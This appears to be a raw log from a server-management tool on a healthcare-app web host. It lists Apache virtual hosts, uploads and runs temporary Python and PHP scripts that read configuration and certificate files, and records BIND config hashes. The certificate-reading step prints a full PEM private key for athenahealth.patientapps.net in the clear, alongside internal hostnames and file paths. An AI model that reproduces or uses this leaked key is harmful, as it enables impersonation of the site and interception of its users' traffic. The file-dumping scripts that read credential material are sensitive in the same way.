port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-06 12:44:18:
PUT: /tmp/pkp118597
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-06 12:44:18:
chmod 755 /tmp/pkp118597; /tmp/pkp118597; rm /tmp/pkp118597
2026-01-06 12:44:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 1744
<VirtualHost *:80>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2026-01-06 12:44:18:
PUT: /tmp/pkp998168
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-06 12:44:18:
chmod 755 /tmp/pkp998168; /tmp/pkp998168; rm /tmp/pkp998168
2026-01-06 12:44:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt 5397
ff:0c:5d:91:3e:b3:83:a1:e0:b1:5b:85:da:ac:82:6e
-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBRpkHN732Po4QbgfbucPMBT4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA2MTE0NTQ2WhcNMjYwNDA2MTE0NTQ1WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA4NqrH81sbrFfUiMC4JGU0VbMW72N2rHW7gIJ6TATXDHF
lSRXyz4nmX65+bUIp3ti5NRoOzMvPa04h/zkRPiiCJK1ASB+zt6z3MYzx96xOx2Z
v35mCK3detYZSQDibUu0Y6ydCFKwPqrsWXouDIofqqdcEUcjWVPQY3m7ViqPoGWP
Frtly3AO4NF9KTSN1zK1iXa4AgG/QI7UHkwBAthP4guw/jF5z1YySZxMHYi4akmO
gGRlVvdgHs7hA6NI5h7RK9pSqJLX53FOsgqTi0DGrfw1mtCQA3+zy9y3yPMLdcwc
hJh8h2/f02pAbKCkSKoPKHXPTsd3AHOS5j5MrX6IYQIDAQABo4ICNTCCAjEwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBRyjfcSvXukKmB1DBrI7MuoerSl2jAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjEuY3JsMIIB
DAYKKwYBBAHWeQIEAgSB/QSB+gD4AH4A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSew
AfwcRFjEtugAAAGbk1YrDAAIAAAFAC51gcwEAwBHMEUCIBjKJvDZ3oe/3kTprry2
L1G0eyIke5jLwY8RbDfg7uILAiEA6ha3e1fUsHwjS/e6wn8DmRVsJqjiQXH2kSUf
NsBmIwYAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZuTViu2
AAAEAwBHMEUCIDM+nkAi/suv3MWedOOwj1Lx7FvnVGQI0HFdQKSrCDuJAiEAppez
7hZUvet+4tlGxWdJ+Gus+YnTEYZQwFDsWKE4LbEwDQYJKoZIhvcNAQELBQADggEB
AHd636KR3uNyK0WsQrBRF+zh0zNALZ4WxmMuQcypWhGP/e4cH7ZP+/JHV+v4P8TQ
GGIIZloHz+QFEgHVH38t6sekcPB1AOG+bvMmMl4JNFEmhjP+HpWBMIHoazgsu87t
0fSQvA23Yh167BQbsH1sm/vWO/dD20cW/Cp+/iZ6tTSjAmEfPPDt/k2bVVu8qlZx
59qQXLaY04tX0qAts9zMXmKoNi/1rBGqD4b8zIFHvfZjSW70yptkB6phfa9lbomi
80aXdnby2bJnoorG2xtafpqLms2WXuJ4fvFPvZJt2c5f4+sw93cGYoJRNjMn7xX6
8gpzfyAejZqzFERg4oWJgwY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDg2qsfzWxusV9S
IwLgkZTRVsxbvY3asdbuAgnpMBNcMcWVJFfLPieZfrn5tQine2Lk1Gg7My89rTiH
/ORE+KIIkrUBIH7O3rPcxjPH3rE7HZm/fmYIrd161hlJAOJtS7RjrJ0IUrA+quxZ
ei4Mih+qp1wRRyNZU9BjebtWKo+gZY8Wu2XLcA7g0X0pNI3XMrWJdrgCAb9AjtQe
TAEC2E/iC7D+MXnPVjJJnEwdiLhqSY6AZGVW92AezuEDo0jmHtEr2lKoktfncU6y
CpOLQMat/DWa0JADf7PL3LfI8wt1zByEmHyHb9/TakBsoKRIqg8odc9Ox3cAc5Lm
PkytfohhAgMBAAECggEAJuPLKyH1eiO1b9hcXAjx608O42MikMund9zkZ++Hua9m
FAiIIr/qS3MOqXC1QXpmvVs7d9m/dvRpzaNgu8khBUiSg9Jh/FeqVin1tMEAeFAD
UoqDDUc9AkzbbLP5dZvdZEvrkQ/0KbKYVFV8d3DAT1zI4LgkFgQYC8x3KU0NMFlt
Tmhj35oYeoRy+0lVQTn9/UHOnvr3dlI4I1O2DhCRojMqF9UJbE7goS43hYODqnVn
l4bNAaw0rV2me6hH6tMVFlk+at2eFxzl4o9vakYJ66pyPS85MshqYQCDfn0LGgEr
HF3euZLszUABghH8o+dTmo2bEDu+ivbiv6V+5CyFDQKBgQD8rg/g3N7Q9a24Ybcu
uf4q9tTJ++EuI+bUVRnuHNeSeu5d+JkwMvWc17UHs0rlgb5AF5wkDD2vqWiqtyiR
sxR4ib90BHEPX6t+uKBAZr89SLmln+UY8+Tnf0YhWyG9acWi2kDHRBEwwp0IsxY0
PdZ57TkmCauGo9HDkoe6GgvwqwKBgQDjzwJUTogGgP4EnDW+F/XAF+kkjHi6dVq5
zjZ96Sxbrt8S27JpmxsRnZBBGeIxW+3MRs5AJuagGB29k0+cUimVSVyBuW3CjSu3
MDL4PrG6gHdvlELK1AjONZ8uZx7Nj3DY+/cFHQdRIYqY/wvD8p3Aap2JXHGWAZUl
bmcsqF/jIwKBgQDUJZBPSyIIbz0bwW77XE155SNjMoctJhd3zrumn7Ce23emjkKP
pTlyJeloPbB0YSpKxYfi/CQOiD3Il18IdUKKsZx82/3Q2pIyIvDpIVsPKTA1Troa
6SsW8lT/THRXg6bbxEL/CrckKUGPPE04L3MTi4if1x6cPI6xlSU/qv67YQKBgFOP
cBRKhfyUvhgk0FW85iii3KLKX9JND41OBZDjwaCToUGCkovIGAK7H9mxS9W9GZmv
cyH24utgTTBnY3E8dgJLWYI/6PHO5HUaWefS31BApQ6pfGJ3qg8xfgUAUD0oW0VM
DsyyXCe3POZnzwH98T1OHiDvZr6WMAX93Bx2Wk2vAoGAVlhwqimB5v1h2X0JPGyY
BHUgPnej4S6/oxPNraH7hzbfGO4lg9NQ9bgWm2F72ctBza/bLEgWyTBaDBUrddOw
RsLzWccb2yTxSgDFgoJvO4DyqkIIBj/U0DnrB5SZIygGRc1bMrfEaa0VeheLn/ph
GTOxiCqUI9e0dfLl3tRt/bE=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-06 12:44:53: Establishing a connection
2026-01-06 12:44:53:
PUT: /tmp/pkp847575
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-06 12:44:54:
runuser -l bind -s /bin/bash -c '/tmp/pkp847575; rm /tmp/pkp847575'
2026-01-06 12:44:54:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
